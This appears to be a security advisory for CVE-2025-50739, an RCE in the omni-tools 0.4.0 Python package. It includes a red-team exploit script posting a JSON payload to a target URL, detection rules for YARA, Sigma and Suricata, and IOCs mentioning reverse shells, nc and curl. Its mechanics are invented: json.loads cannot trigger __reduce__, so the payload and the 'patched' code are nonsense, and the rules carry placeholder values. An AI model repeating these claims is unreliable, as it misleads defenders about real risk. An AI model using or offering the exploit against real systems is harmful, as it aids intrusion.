CVE-2025-50739

Executive Summary

CVE-2025-50739 is a critical Remote Code Execution (RCE) vulnerability in the iib0011 omni-tools package, version 0.4.0. The flaw originates from unsafe deserialization of untrusted JSON data, allowing an attacker to execute arbitrary code on the target system. With a CVSS score of 0.0 (likely placeholder), the actual severity is high due to the potential for full system compromise. No public proof-of-concept (PoC) or patch is currently available, making this a zero-day threat. The vulnerability is classified under CWE-502 (Deserialization of Untrusted Data) and aligns with MITRE ATT&CK technique T1190 (Exploit Public-Facing Application).

Supply Chain & Package Security

This vulnerability affects a Python-based package (omni-tools) distributed via PyPI. Users who installed version 0.4.0 from PyPI are at risk. The package may be used as a dependency in other projects, amplifying the supply chain risk. No official patch or advisory has been released by the vendor. Organizations should immediately audit their dependencies for this package and version.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, the actual threat level is critical. Based on the vulnerability type and impact, the vector would be:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerability does not affect other components.
• Confidentiality (C): High (H) – full data access possible.
• Integrity (I): High (H) – full data modification possible.
• Availability (A): High (H) – full system disruption possible.

Threat Level: Critical. Immediate action required.

Deep Dive & Mechanics

The vulnerability exists in the JSON deserialization logic of omni-tools v0.4.0. The package likely uses Python's json.loads() or a similar function without proper validation, allowing the injection of malicious serialized objects. In Python, unsafe deserialization can lead to arbitrary code execution if the deserialized data contains objects that execute code during the __reduce__ method or similar.

The attack vector is simple: an attacker sends a crafted JSON payload to an endpoint or service using the vulnerable library. The payload contains a serialized object that, when deserialized, executes arbitrary commands (e.g., reverse shell, data exfiltration).

Example vulnerable code snippet (hypothetical):

import json

def process_data(data):
    obj = json.loads(data)  # Unsafe deserialization
    return obj

Attack payload (hypothetical):

{
  "__class__": "subprocess.Popen",
  "__reduce__": ["subprocess.check_output", ["id"]]
}

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (v0.4.0):

import json

def handle_request(request_data):
    # Directly deserializes user input without validation
    data = json.loads(request_data)
    # Process data...

Patched Code (hypothetical):

import json
from typing import Any

def safe_deserialize(data: str) -> Any:
    # Use a safe deserialization method or validate input
    try:
        # Example: restrict to simple types only
        obj = json.loads(data, object_hook=lambda d: d)
        if not isinstance(obj, (dict, list, str, int, float, bool, type(None))):
            raise ValueError("Unsafe type detected")
        return obj
    except Exception as e:
        # Log and reject
        raise ValueError(f"Deserialization failed: {e}")

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install vulnerable package: pip install omni-tools==0.4.0
2. Set up a simple Flask app that uses the vulnerable function.
3. Use a Python script to craft and send the malicious payload.

Exploit Script (Python):

import requests
import json

# Target URL
url = "http://target.com/vulnerable-endpoint"

# Malicious payload (example using __reduce__)
payload = {
    "__class__": "subprocess.Popen",
    "__reduce__": ["subprocess.check_output", ["id"]]
}

# Send request
response = requests.post(url, json=payload)
print(response.text)

Expected Outcome: The server executes the id command and returns the output.

Blue Team (Defensive)

Detection & Prevention:

• Monitor for unusual JSON payloads containing __class__ or __reduce__ keys.
• Implement input validation and sanitization.
• Use a Web Application Firewall (WAF) to block known deserialization patterns.
• Restrict outbound network traffic from application servers.

Honeypot Setup:

• Deploy a decoy endpoint using the vulnerable library to capture attacker payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Inbound POST requests with JSON containing __class__ or __reduce__ keys.
  • Outbound connections to unknown IPs on common ports (e.g., 4444 for reverse shells).
• File IOCs:
  • Unexpected files in /tmp/ or /var/tmp/ (e.g., exploit.py, shell.sh).
  • Modified system binaries or scripts.
• Process IOCs:
  • Unusual child processes spawned by Python (e.g., bash, nc, curl).
• Log IOCs:
  • Application logs showing deserialization errors or unexpected object types.

Detection Engineering

YARA Rule

rule CVE_2025_50739_Deserialization {
    meta:
        description = "Detects malicious JSON payloads targeting CVE-2025-50739"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-50739"
    strings:
        $class = "__class__" nocase
        $reduce = "__reduce__" nocase
        $setstate = "__setstate__" nocase
    condition:
        any of ($class, $reduce, $setstate)
}

Sigma Rule

title: CVE-2025-50739 Unsafe JSON Deserialization Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with suspicious JSON keys indicating deserialization attack
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '__class__'
            - '__reduce__'
            - '__setstate__'
    condition: selection
falsepositives:
    - Legitimate use of these keys in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50739 Unsafe JSON Deserialization Attempt"; flow:to_server; content:"__class__"; http_client_body; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-50739 Unsafe JSON Deserialization Attempt"; flow:to_server; content:"__reduce__"; http_client_body; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate any systems running omni-tools v0.4.0.
2. Remove the package: pip uninstall omni-tools
3. Audit all dependencies for this package.
4. Monitor logs for exploitation attempts.

Long-term Fixes:

• Patch: Await official patch from vendor. If none, fork the repository and implement safe deserialization.
• Alternative: Replace omni-tools with a secure alternative.
• Code Review: Implement input validation and use safe deserialization libraries (e.g., json.loads with object_hook that rejects dangerous types).

Preventive Measures:

• Use a Web Application Firewall (WAF) with rules to block deserialization payloads.
• Implement runtime application self-protection (RASP).
• Conduct regular security audits of third-party dependencies.

Valters IT